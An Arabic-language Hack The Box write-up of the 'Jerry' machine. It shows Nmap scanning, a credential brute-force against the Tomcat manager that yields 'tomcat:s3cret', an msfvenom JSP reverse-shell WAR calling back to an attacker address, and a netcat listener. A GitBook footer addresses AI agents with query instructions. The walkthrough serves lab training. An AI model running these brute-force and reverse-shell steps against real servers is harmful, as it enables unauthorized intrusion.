> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# تقرير HackTheBox عن Jerry

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**المهارات:**

* تسرب المعلومات
* استغلال Tomcat (الاختراق وتصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/d972cfae9bf12acdb9a6f5f5a8d5948d49c514e2" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/657d8edd8b3ff7e483247b8e18dfcb8e028c7df5" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/5cdd7de12cff2bca70afc309ce5c067b152e9cbd" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/904ec7325076e3172fa2f992102934e4a80a8cdb" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/a4c7124366c81b2ac2e9d8b6ad4d4cb053e48681" alt=""><figcaption></figcaption></figure>

## المنفذ 8080 - Tomcat

المنفذ 8080 يستضيف خادماً **أباتشي تومكات**. تحليل باستخدام `whatweb` يكشف **7.0.88** الإصدار، والمعروف بأنه قابل للاستغلال.

<div data-full-width="true"><figure><img src="/files/3f6c22a7822afffea0d90768c76420fe4cdd2a07" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/16dd36d36ed5d40e74a6ceb8b22af91d0956322b" alt=""><figcaption></figcaption></figure>

### تسرب المعلومات

**الاتصال باللوحة الإدارية**

<figure><img src="/files/4743c1c64a131d89f6100436c150378deefbc31f" alt=""><figcaption></figcaption></figure>

نحاول الوصول إلى `/manager/html` اللوحة باستخدام بيانات اعتماد افتراضية (مثل `admin:admin`), لكن هذا يفشل.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* هجوم التخمين القسري على المعرفات/*/*

نستخدم قائمة SecLists `tomcat-betterdefaultpasslist.txt` لإجراء هجوم تخمين قسري مباشر على بيانات الاعتماد:

لأتمتة هذه المهمة، نستخدم سكربت Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**النتيجة:** تم العثور على بيانات اعتماد صالحة:/ `tomcat:s3cret`

<figure><img src="/files/d9b9d87b448ee2a302e963344e0c143d1f2345ed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b31fc83eb0a407fa46aaf7f3072ff0651d0ce827" alt=""><figcaption></figcaption></figure>

### ثغرة Tomcat:

**1. إنشاء ملف WAR:** / نستخدم `msfvenom` لإنشاء ملف WAR يحتوي على شِل عكسي:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/592a9a7a0eed13b5b5cd526e2fdcc09633816d8d" alt=""><figcaption></figcaption></figure>

**2. النشر عبر مدير Tomcat:**/ نرفع ملف WAR إلى `/manager/html` اللوحة.

<figure><img src="/files/90e2474afe3b1449789c12a46f4a0cec0aac86fb" alt="" width="563"><figcaption></figcaption></figure>

**3. الاستماع إلى الشِل العكسي:**/ نقوم بإعداد مستمع لالتقاط الاتصال العكسي:

```bash
rlwrap nc -nlvp 443
```

عند تشغيل الملف المنشور (`/reverse`), نحصل على شِل تفاعلي على الجهاز الهدف.

<figure><img src="/files/266a39830f4116763e41c5474b7fe5c178add39f" alt=""><figcaption></figcaption></figure>

### الرايات user.txt + root.txt :)

<figure><img src="/files/4cd824965c0303ff596350bf12b3dce61c237920" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/73152bc2f10295117aa7c559a5cdf5f9dc336b53" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
